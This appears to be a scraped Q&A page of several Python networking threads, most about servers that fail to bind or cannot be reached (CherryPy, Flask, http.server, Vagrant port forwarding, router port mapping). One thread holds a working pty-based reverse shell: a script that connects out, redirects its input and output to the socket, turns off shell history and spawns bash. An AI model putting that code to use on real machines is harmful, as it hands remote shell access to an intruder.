(( '127.0.0.1', 8080)) already shut down - linux

I am trying to run a server in BeagleBone Black using CherryPy and following this tutorial http://docs.cherrypy.org/en/latest/install.html, and every time I run it I have this error message
ENGINE HTTP Server cherrypy._cpwsgi_server.CPWSGIServer(( '127.0.0.1',8080))already shut down
How can I turn it on again ?

I tkink the port 8080 is already used. Your command is fine to kill a process running on particular port on Linux.
fuser -k 8080/tcp
If you try to access your device remotely you have to explicitly configure Cherrypy to bind on all interfaces:
import cherrypy
class HelloWorld(object):
#cherrypy.expose
def index(self):
return "Hello world!"
if __name__ == '__main__':
cherrypy.config.update({'server.socket_host': '0.0.0.0'} )
cherrypy.quickstart(HelloWorld())

Related

I'm not able to access my python server outside of local network, but static ip is working fine when I create virtual server [duplicate]

This question already has answers here:
Configure Flask dev server to be visible across the network
(17 answers)
Closed 1 year ago.
I'm not able to access my python server outside of local system but static ip is configured and it works fine with virtual servers like python3 -m http.server but when I create flask app it doesn't work.
from flask import Flask
app = Flask(__name__)
#app.route('/')
def index():
return "Accessible"
if __name__ == '__main__':
app.run(port=5000)
Here is the code
It is because flask runs on localhost (127.0.0.1) by default, so for accessing flask server globally you have to pass anywhere access IP i.e. 0.0.0.0 .
app.run(host = '0.0.0.0', port = 5000)

Run 2 Python3 `http.server` on the same machine, different ports

Situation: Need 2 ad-hoc Python3 http.server instances on the same computer.
Problem: The first server was started successfully on the command line
python3 -m http.server 8888
The second server was attempted with the following script:
import http.server
import socketserver as ss
os.chdir("/path/to/working/directory")
Handler = http.server.SimpleHTTPRequestHandler
with ss.TCPServer(("", 8000), Handler) as httpd:
try:
httpd.serve_forever()
except PermissionError:
print("Permission denied.")
The second server terminated with OSError: [Errno 98] Address already in use.
Question: How can I run two Python3 http.server on the same machine (listening on 0.0.0.0)?
Additional Information 1: I have checked, and there are no other services holding onto port 8888 (server 1's port), and 8000 (server 2's port).
Additional Information 2: I am not sure why, but if I reverse the two ports, both servers run as intended (i.e. server 1 runs on port 8000; server 2 runs on 8888). Any ideas why?

Vagrant localhost 8080 connection issue

I am new to vagrant using Windows 10. Started a course on Udacity(Full stack foundation). Now i have created a simple web server script but when i am testing it on localhost:8080 showing error : site can't be reached. Tried a lot but unable to find the solution. On netstat -aon showing 0.0.0.0:8080 listening on pid no 1072 but pid is not there in running servies (using Clt+Alt+Del).
web server script - webserver.py
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class WebServerHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.endswith("/hello"):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
message = ""
message += "<html><body>Hello!</body></html>"
self.wfile.write(message)
print message
return
if self.path.endswith("/hola"):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
message = ""
message += "<html><body>Hola!</body></html>"
self.wfile.write(message)
print message
return
else:
self.send_error(404, 'File Not Found: %s' % self.path)
def main():
try:
port = 8080
server = HTTPServer(('', port), WebServerHandler)
print "Web Server running on port %s" % port
server.serve_forever()
except KeyboardInterrupt:
print " ^C entered, stopping web server...."
server.socket.close()
if __name__ == '__main__':
main()
Code is executing and terminating properly with no error but on testing it on http://localhost:8080/hello (site can't be reached).
Help me. Thanks in Advance.
Try to access the link with curl from the VM: curl http://localhost:8080/hello.
If the response is OK, it means either port 8080 is not forwarded, or maybe it's blocked by vagrant VM firewall. You can open your port for testing purpose using ufw.
I changed the host and port in the Python App from this:
run(host='localhost', port=8080, debug=True)
to this:
run(host='0.0.0.0', port=5002, debug=True)
and in the vagrantfile from this:
config.vm.network "forwarded_port", guest: 8080, host: 8080, host_ip: "127.0.0.1"
to this:
config.vm.network "forwarded_port", guest: 5002, host: 5002
then test a request and do NOT forget to add the resource (URL endpoint) 'hello' in my example: http://0.0.0.0:5002/hello
this fixed the issue for me.

pty based reverse shell in Python

I am trying to build a pty based reverse shell using python.
Here is my code
import os
import pty
import socket
rhost = "127.0.0.1" #Remote host address
rport = 4444 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
print("connected")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
When I am trying to use this shell with a listener running on my own system with a command like nc -4444 then I am getting a shell.
but when I try to change the host address to the IP of my VPS and use the same command to get a listener on port 4444 then I am not getting the shell back.For some reason, it's only working when I run both the client and server on my own system.

Can't port forward for a simple Python server

I started working on a simple server and client script. I tested the script on my local network, and it worked great: The server would turn on, and wait for a client connection. As soon as a client connected, it would then let me proceed.
I then decided to test it over the internet, and this is were the problems start happening. I am running the server on Ubuntu, and the client on a windows machine.
Server Connection Code:
import socket
import sys
#Create a socket for connection
def socket_create():
try:
global host
global port
global s
host = ''
port = 5698
s = socket.socket()
print("Socket created.")
except socket.error as msg:
print("Socket creation error: " + str(msg))
#Bind the created socket to a port, sleep for conn
def socket_bind():
try:
global host
global port
global s
s.bind((host, port))
print("Waiting for connection")
s.listen(5)
except socket.error as msg:
print("SOcket binding error: " + str(msg) + "\n Retrying...")
socket_bind()
#Estabilish Connection with client
def socket_accept():
conn, adress = s.accept()
print("Connection has been estabilished | " + "IP " + adress[0] + " | Port " + str(adress[1]))
send_command(conn)
conn.close()
Client Connection Code:
import os
import socket
import subprocess
# Create a socket
def socket_create():
try:
global host
global port
global s
host = 'My Internet IP'
port = 5987
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print("Socket connection error: " + str(msg))
And the error:
[Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
I'll never get the "Connection has been estabilished" print from the server, and I'll get that error.
Can anyone see anything that might be causing the problem in the code?
After port forwarding the router, do I have to do any other configs on Ubuntu itself? The ports I should open are as TCP, right?
After opening the port on the router, and if I use a service like "http://www.canyouseeme.org/", will it show instantly that the port is open, or will it only show if I'm running the server and waiting for a connection?
I managed to fix the problem. Here is an in-depth guide on how I did it.
The problem: Even after opening a port on your Router configs, you still can't see the port open on your running service.
The solution: Port Mapper.
Things to note: I had to run Port Mapper on Ubuntu, because running it on Windows didn't seem to work for me. Also, if you let your computer sleep or shutdown, when you turn it on again, you'll have to reopen the ports (but don't worry, as it is just a click of a button).
What you'll need: https://sourceforge.net/projects/upnp-portmapper/
First, simply run 'java' in the terminal to make sure you have Java installed, or in order to install it (directions will appear on screen).
From the given link, download the Portmapper.jar.
After downloading it, simply run 'java -jar Portmapper.jar' on the terminal to open up the gui.
After opening the gui, press Connect so you can automatically connect to the router.
All the current open ports will now appear on screen. We know want to look for the port mapping presets.
In the Port mapping presets, go ahead and press Create.
Here, give the preset a name. Then, fill the Remote Host if you want the connection of a specific IP, or leave it empty for any IP. The internal client will be your Server's network IP (in my case, because I'm running the server in the same machine as the Port mapper, I'll tick Use Local Host.
Now we'll go ahead and add a new port as a TCP connection. Here we can either have the external and internal ports with equal or different values. Just remember the internal port (your machine's port) will be the one you'll use on your server, and the external port (your router open port) will be the one you'll use on your clients or whatever you are connecting to your server.
After this, simply save the preset, choose it and press Use. If you know click Update under the ports list, you'll see your new open port. Just to make sure, you can get your server running awating connections, and simply go to "http://www.canyouseeme.org/", input the port, and here you go.
Do remember that after shutting down or putting the computer asleep, you'll have to go back to PortMapper, and click Use on the preset you want again (depending on what port you want).

Resources